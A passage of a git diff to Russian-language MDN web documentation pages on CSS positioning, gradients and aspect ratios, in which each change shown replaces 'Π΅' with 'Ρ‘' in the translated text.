Β«ΠΏΠ»Π°Π²Π°ΡŽΡ‰Π΅Π³ΠΎΒ» элСмСнта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ остаётся Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ нСзависимо ΠΎΡ‚ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ. Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΎΠΊΠ½ΠΎ c <code>id="one"</code> фиксируСтся Π² 80 пиксСлях ΠΎΡ‚ Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ части страницы ΠΈ Π² 10 пиксСлях слСва. Π”Π°ΠΆΠ΅ послС ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ ΠΎΠ½ΠΎ остаётся Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ мСстС ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΠΊΠ½Π° просмотра.</p>
<h4 id="HTML_2">HTML</h4>
@@ -196,7 +196,7 @@ span {
<h3 id="Sticky_positioning" name="Sticky_positioning">Π›ΠΈΠΏΠΊΠΎΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅</h3>
-<p>Π›ΠΈΠΏΠΊΠΎΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ½ΠΎ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ Π³ΠΈΠ±Ρ€ΠΈΠ΄ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΈ фиксированного позиционирования. Π›ΠΈΠΏΠΊΠΈΠΉ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ элСмСнт обрабатываСтся ΠΊΠ°ΠΊ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° ΠΎΠ½ Π½Π΅ пСрСсСчСт Π·Π°Π΄Π°Π½Π½Ρ‹ΠΉ ΠΏΠΎΡ€ΠΎΠ³, послС Ρ‡Π΅Π³ΠΎ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒΡΡ фиксированным, ΠΏΠΎΠΊΠ° Π½Π΅ достигнСт Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ Π΅Π³ΠΎ родитСля. НапримСр...</p>
+<p>Π›ΠΈΠΏΠΊΠΎΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ½ΠΎ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ Π³ΠΈΠ±Ρ€ΠΈΠ΄ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΈ фиксированного позиционирования. Π›ΠΈΠΏΠΊΠΈΠΉ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ элСмСнт обрабатываСтся ΠΊΠ°ΠΊ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° ΠΎΠ½ Π½Π΅ пСрСсСчёт Π·Π°Π΄Π°Π½Π½Ρ‹ΠΉ ΠΏΠΎΡ€ΠΎΠ³, послС Ρ‡Π΅Π³ΠΎ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒΡΡ фиксированным, ΠΏΠΎΠΊΠ° Π½Π΅ достигнСт Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ Π΅Π³ΠΎ родитСля. НапримСр...</p>
<pre class="brush: css">#one { position: sticky; top: 10px; }</pre>
@@ -322,6 +322,6 @@ dd + dd {
<h2 id="Browser_compatibility" name="Browser_compatibility">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ</h2>
<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check outand send us a pull request.<br>
-Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос Π½Π° пСрСнос.</div>
+Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос Π½Π° пСрСнос.</div>
<p>{{Compat("css.properties.position")}}</p>
diff --git a/files/ru/web/css/radial-gradient()/index.html b/files/ru/web/css/radial-gradient()/index.html
index efd1cd0d57..297ef580c4 100644
--- a/files/ru/web/css/radial-gradient()/index.html
+++ b/files/ru/web/css/radial-gradient()/index.html
@@ -5,7 +5,7 @@ translation_of: Web/CSS/radial-gradient()
---
<div>{{CSSRef}}</div>
-<p><a href="/en-US/docs/Web/CSS">CSS</a> функция <strong><code>radial-gradient()</code></strong> создаСт ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΡƒ ΡΠΎΡΡ‚ΠΎΡΡ‰ΡƒΡŽ ΠΈΠ· ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΎΠ² ΠΌΠ΅ΠΆΠ΄Ρƒ двумя ΠΈ Π±ΠΎΠ»Π΅Π΅ Ρ†Π²Π΅Ρ‚Π°ΠΌΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ исходят ΠΈΠ· Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ Ρ†Π΅Π½Ρ‚Ρ€Π°. Они ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Ρ„ΠΎΡ€ΠΌΡƒ ΠΊΡ€ΡƒΠ³Π° ΠΈΠ»ΠΈ эллипса. Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ°Β {{cssxref("&lt;gradient&gt;")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΈΠΏΠ°Β {{cssxref("&lt;image&gt;")}}.</p>
+<p><a href="/en-US/docs/Web/CSS">CSS</a> функция <strong><code>radial-gradient()</code></strong> создаёт ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΡƒ ΡΠΎΡΡ‚ΠΎΡΡ‰ΡƒΡŽ ΠΈΠ· ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΎΠ² ΠΌΠ΅ΠΆΠ΄Ρƒ двумя ΠΈ Π±ΠΎΠ»Π΅Π΅ Ρ†Π²Π΅Ρ‚Π°ΠΌΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ исходят ΠΈΠ· Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ Ρ†Π΅Π½Ρ‚Ρ€Π°. Они ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Ρ„ΠΎΡ€ΠΌΡƒ ΠΊΡ€ΡƒΠ³Π° ΠΈΠ»ΠΈ эллипса. Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ°Β {{cssxref("&lt;gradient&gt;")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΈΠΏΠ°Β {{cssxref("&lt;image&gt;")}}.</p>
<div>{{EmbedInteractiveExample("pages/css/function-radial-gradient.html")}}</div>
@@ -19,16 +19,16 @@ translation_of: Web/CSS/radial-gradient()
<h2 id="ΠšΠΎΠΌΠΏΠΎΠ·ΠΈΡ†ΠΈΡ_свойства">ΠšΠΎΠΌΠΏΠΎΠ·ΠΈΡ†ΠΈΡ свойства</h2>
-<p><img alt="" src="/files/3795/radial%20gradient.png" style="float: left; height: 176px; width: 396px;">Π Π°Π΄ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ задаСтся <em>ΠΏΠΎΠ·ΠΈΡ†ΠΈΠ΅ΠΉ Ρ†Π΅Π½Ρ‚Ρ€Π°</em>,Β <em>ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΉ Ρ„ΠΎΡ€ΠΌΠΎΠΉ</em>, и двумя ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅Β <em>Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ измСнСния Ρ†Π²Π΅Ρ‚Π°</em>.</p>
+<p><img alt="" src="/files/3795/radial%20gradient.png" style="float: left; height: 176px; width: 396px;">Π Π°Π΄ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ задаётся <em>ΠΏΠΎΠ·ΠΈΡ†ΠΈΠ΅ΠΉ Ρ†Π΅Π½Ρ‚Ρ€Π°</em>,Β <em>ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΉ Ρ„ΠΎΡ€ΠΌΠΎΠΉ</em>, и двумя ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅Β <em>Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ измСнСния Ρ†Π²Π΅Ρ‚Π°</em>.</p>
<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΏΠ»Π°Π²Π½Ρ‹ΠΉ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚, функция <code>radial-gradient()</code> рисуСт ΡΠ΅Ρ€ΠΈΡŽ концСнтричСских Ρ„ΠΎΡ€ΠΌ исходящих ΠΈΠ· Ρ†Π΅Π½Ρ‚Ρ€Π° ΠΊ краям Ρ„ΠΎΡ€ΠΌΡ‹ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Π°Β (ΠΈ ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ Π΄Π°Π»Π΅Π΅ Π·Π° Π΅Π³ΠΎ ΠΏΡ€Π΅Π΄Π΅Π»Ρ‹). ΠšΠΎΠ½Π΅Ρ‡Π½Π°Ρ Ρ„ΠΎΡ€ΠΌΠ° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΊΠ°ΠΊ ΠΊΡ€ΡƒΠ³ΠΎΠΌ Ρ‚Π°ΠΊ ΠΈ эллипсом.</p>
-<p>Π’ΠΎΡ‡ΠΊΠΈ измСнСния Ρ†Π²Π΅Ρ‚Π° располоТСны Π½Π°Β <em>Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΠΌ Π»ΡƒΡ‡Π΅ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Π°</em>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅Ρ‚ΡΡ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΠΎ Π½Π°ΠΏΡ€Π°Π²ΠΎ. ΠŸΠΎΠ·ΠΈΡ†ΠΈΡ Ρ‚ΠΎΡ‡Π΅ΠΊΒ Π·Π°Π΄Π°Π½Π½Ρ‹Ρ…Β Π² ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π°Ρ… рассчитываСтся ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΒ ΠΏΠ΅Ρ€Π΅ΡΠ΅Ρ‡Π΅Π½ΠΈΡ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΉ Ρ„ΠΎΡ€ΠΌΡ‹ Ρ‚Π°ΠΊΠΈΠΌ Π»ΡƒΡ‡ΠΎΠΌ, Ρ‡Ρ‚ΠΎ являСтся <code>100%</code>. Π¦Π²Π΅Ρ‚ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Ρ‚Π°ΠΊΠΎΠΉ Ρ„ΠΎΡ€ΠΌΡ‹ задаСтся Ρ†Π²Π΅Ρ‚ΠΎΠΌ Π½Π° пСрСсСчСнии Π»ΡƒΡ‡Π° Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Π° ΠΈ этой Ρ„ΠΎΡ€ΠΌΡ‹.</p>
+<p>Π’ΠΎΡ‡ΠΊΠΈ измСнСния Ρ†Π²Π΅Ρ‚Π° располоТСны Π½Π°Β <em>Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΠΌ Π»ΡƒΡ‡Π΅ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Π°</em>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅Ρ‚ΡΡ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΠΎ Π½Π°ΠΏΡ€Π°Π²ΠΎ. ΠŸΠΎΠ·ΠΈΡ†ΠΈΡ Ρ‚ΠΎΡ‡Π΅ΠΊΒ Π·Π°Π΄Π°Π½Π½Ρ‹Ρ…Β Π² ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π°Ρ… рассчитываСтся ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΒ ΠΏΠ΅Ρ€Π΅ΡΠ΅Ρ‡Π΅Π½ΠΈΡ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΉ Ρ„ΠΎΡ€ΠΌΡ‹ Ρ‚Π°ΠΊΠΈΠΌ Π»ΡƒΡ‡ΠΎΠΌ, Ρ‡Ρ‚ΠΎ являСтся <code>100%</code>. Π¦Π²Π΅Ρ‚ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Ρ‚Π°ΠΊΠΎΠΉ Ρ„ΠΎΡ€ΠΌΡ‹ задаётся Ρ†Π²Π΅Ρ‚ΠΎΠΌ Π½Π° пСрСсСчСнии Π»ΡƒΡ‡Π° Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Π° ΠΈ этой Ρ„ΠΎΡ€ΠΌΡ‹.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
<pre class="brush: css no-line-numbers notranslate">/* Π“Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ Π² Ρ†Π΅Π½Ρ‚Ρ€Π΅ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°,
- ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ ΠΎΡ‚ красного ΠΊ синСму ΠΈ послС ΠΊ Π·Π΅Π»Π΅Π½ΠΎΠΌΡƒ */
+ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ ΠΎΡ‚ красного ΠΊ синСму ΠΈ послС ΠΊ Π·Π΅Π»Ρ‘Π½ΠΎΠΌΡƒ */
radial-gradient(circle at center, red 0, blue, green 100%)</pre>
<h3 id="ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹">ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹</h3>
@@ -108,7 +108,7 @@ radial-gradient(circle at center, red 0, blue, green 100%)</pre>
<p>{{EmbedLiveSample('ΠŸΡ€ΠΎΡΡ‚ΠΎΠΉ_Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚', 120, 120)}}</p>
-<h3 id="Π“Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚_со_смСщСнным_Ρ†Π΅Π½Ρ‚Ρ€ΠΎΠΌ">Π“Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ со смСщСнным Ρ†Π΅Π½Ρ‚Ρ€ΠΎΠΌ</h3>
+<h3 id="Π“Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚_со_смСщённым_Ρ†Π΅Π½Ρ‚Ρ€ΠΎΠΌ">Π“Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ со смСщённым Ρ†Π΅Π½Ρ‚Ρ€ΠΎΠΌ</h3>
<div class="hidden">
<pre class="brush: html notranslate">&lt;div class="radial-gradient"&gt;&lt;/div&gt;
@@ -125,7 +125,7 @@ radial-gradient(circle at center, red 0, blue, green 100%)</pre>
#f35 0%, #43e 100%);
}</pre>
-<p>{{EmbedLiveSample('Π“Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚_со_смСщСнным_Ρ†Π΅Π½Ρ‚Ρ€ΠΎΠΌ', 240, 120)}}</p>
+<p>{{EmbedLiveSample('Π“Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚_со_смСщённым_Ρ†Π΅Π½Ρ‚Ρ€ΠΎΠΌ', 240, 120)}}</p>
<div class="note">
<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ Π²Β <a href="/en-US/docs/Web/CSS/CSS_Images/Using_CSS_gradients">ИспользованиС CSS Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ΠΎΠ²</a>.</p>
diff --git a/files/ru/web/css/ratio/index.html b/files/ru/web/css/ratio/index.html
index aa1e0f260e..b916f8e580 100644
--- a/files/ru/web/css/ratio/index.html
+++ b/files/ru/web/css/ratio/index.html
@@ -46,7 +46,7 @@ translation_of: Web/CSS/ratio
<td><img alt="Ratio1_1.85.png" src="/@api/deki/files/5712/=Ratio1_1.85.png"></td>
<td><code>185/100</code> = <code>91/50</code><br>
<em>(Π½Π΅Ρ†Π΅Π»Ρ‹Π΅ Π΄Π΅Π»ΠΈΠΌΡ‹Π΅ ΠΈ Π΄Π΅Π»ΠΈΡ‚Π΅Π»ΠΈ Π½Π΅ Π΄ΠΎΠΏΡƒΡΠΊΠ°ΡŽΡ‚ΡΡ)</em></td>
- <td>НаиболСС распространСнный Π²ΠΈΠ΄Π΅ΠΎ-Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π² 1960-Ρ….</td>
+ <td>НаиболСС распространённый Π²ΠΈΠ΄Π΅ΠΎ-Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π² 1960-Ρ….</td>
</tr>
<tr>
<td><img alt="Ratio1_2.39.png" src="/@api/deki/files/5713/=Ratio1_2.39.png"></td>
diff --git a/files/ru/web/css/reference/index.html b/files/ru/web/css/reference/index.html
index 507cc1fa72..36869289dc 100644
--- a/files/ru/web/css/reference/index.html
+++ b/files/ru/web/css/reference/index.html
@@ -160,7 +160,7 @@ div.menu-bar li:hover &gt; ul { display: block; }
<li><a href="/ru/docs/Web/CSS/box_model">Box-модСль</a></li>
<li><a href="/ru/docs/Web/CSS/Replaced_element">Π—Π°ΠΌΠ΅Ρ‰Π°Π΅ΠΌΡ‹ΠΉ элСмСнт</a></li>
<li><a href="/ru/docs/Web/CSS/Value_definition_syntax">Бинтаксис опрСдСлСния Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Shorthand_properties">Π‘ΠΎΠΊΡ€Π°Ρ‰Π΅Π½Π½Ρ‹Π΅ свойства</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Shorthand_properties">Π‘ΠΎΠΊΡ€Π°Ρ‰Ρ‘Π½Π½Ρ‹Π΅ свойства</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">ОбъСдинСниС отступов</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Visual_formatting_model">МодСль Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ форматирования</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Layout_mode">Π‘Π»ΠΎΠΈ</a></li>
diff --git a/files/ru/web/css/repeating-linear-gradient()/index.html b/files/ru/web/css/repeating-linear-gradient()/index.html
index e7dc20f24e..c3160fb98a 100644
--- a/files/ru/web/css/repeating-linear-gradient()/index.html
+++ b/files/ru/web/css/repeating-linear-gradient()/index.html
@@ -5,7 +5,7 @@ translation_of: Web/CSS/repeating-linear-gradient()
---
<div>{{CSSRef}}</div>
-<p><a href="/en-US/docs/Web/CSS">CSS</a> функция <strong><code>repeating-linear-gradient()</code></strong> создаСт ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ состоящСС ΠΈΠ· ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‰ΠΈΡ…ΡΡ Π»ΠΈΠ½Π΅ΠΉΠ½Ρ‹Ρ… Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ΠΎΠ². Она схоТа с {{cssxref("linear-gradient")}} ΠΈ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Ρ‚Π΅ ΠΆΠ΅ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹, Π½ΠΎ повторяСт ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Ρ‹ Ρ†Π²Π΅Ρ‚ΠΎΠ² бСсконСчно Π²ΠΎ всСх направлСниях покрывая вСсь ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€. Ѐункция Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ° {{cssxref("&lt;gradient&gt;")}}, ΡΠ²Π»ΡΡŽΡ‰Π΅Π³ΠΎΡΡ Ρ€Π°Π·Π½ΠΎΠ²ΠΈΠ΄Π½ΠΎΡΡ‚ΡŒΡŽ Ρ‚ΠΈΠΏΠ° Π΄Π°Π½Π½Ρ‹Ρ… {{cssxref("&lt;image&gt;")}}.</p>
+<p><a href="/en-US/docs/Web/CSS">CSS</a> функция <strong><code>repeating-linear-gradient()</code></strong> создаёт ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ состоящСС ΠΈΠ· ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‰ΠΈΡ…ΡΡ Π»ΠΈΠ½Π΅ΠΉΠ½Ρ‹Ρ… Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ΠΎΠ². Она схоТа с {{cssxref("linear-gradient")}} ΠΈ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Ρ‚Π΅ ΠΆΠ΅ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹, Π½ΠΎ повторяСт ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Ρ‹ Ρ†Π²Π΅Ρ‚ΠΎΠ² бСсконСчно Π²ΠΎ всСх направлСниях покрывая вСсь ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€. Ѐункция Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ° {{cssxref("&lt;gradient&gt;")}}, ΡΠ²Π»ΡΡŽΡ‰Π΅Π³ΠΎΡΡ Ρ€Π°Π·Π½ΠΎΠ²ΠΈΠ΄Π½ΠΎΡΡ‚ΡŒΡŽ Ρ‚ΠΈΠΏΠ° Π΄Π°Π½Π½Ρ‹Ρ… {{cssxref("&lt;image&gt;")}}.</p>
<pre class="brush: css no-line-numbers notranslate">/* ΠŸΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‰ΠΈΠΉΡΡ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ с ΡƒΠ³Π»ΠΎΠΌ Π½Π°ΠΊΠ»ΠΎΠ½Π° 45 градусов,
Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰ΠΈΠΉΡΡ с синСго ΠΈ Π·Π°ΠΊΠ°Π½Ρ‡ΠΈΠ²Π°ΡŽΡ‰ΠΈΠΉΡΡ красным Ρ†Π²Π΅Ρ‚ΠΎΠΌ */
@@ -16,14 +16,14 @@ repeating-linear-gradient(45deg, blue, red);
repeating-linear-gradient(to left top, blue, red);
/* ΠŸΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‰ΠΈΠΉΡΡ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ ΠΈΠ΄ΡƒΡ‰ΠΈΠΉ ΠΎΡ‚ Π½ΠΈΠ·Π° ΠΊ Π²Π΅Ρ€Ρ…Ρƒ,
- Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰ΠΈΠΉΡΡ с синСго, пСрСходящСго Π² Π·Π΅Π»Π΅Π½Ρ‹ΠΉ Π½Π° 40%,
+ Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰ΠΈΠΉΡΡ с синСго, пСрСходящСго Π² Π·Π΅Π»Ρ‘Π½Ρ‹ΠΉ Π½Π° 40%,
ΠΈ Π·Π°ΠΊΠ°Π½Ρ‡ΠΈΠ²Π°ΡŽΡ‰ΠΈΠΉΡΡ красным Ρ†Π²Π΅Ρ‚ΠΎΠΌ */
repeating-linear-gradient(0deg, blue, green 40%, red);
</pre>
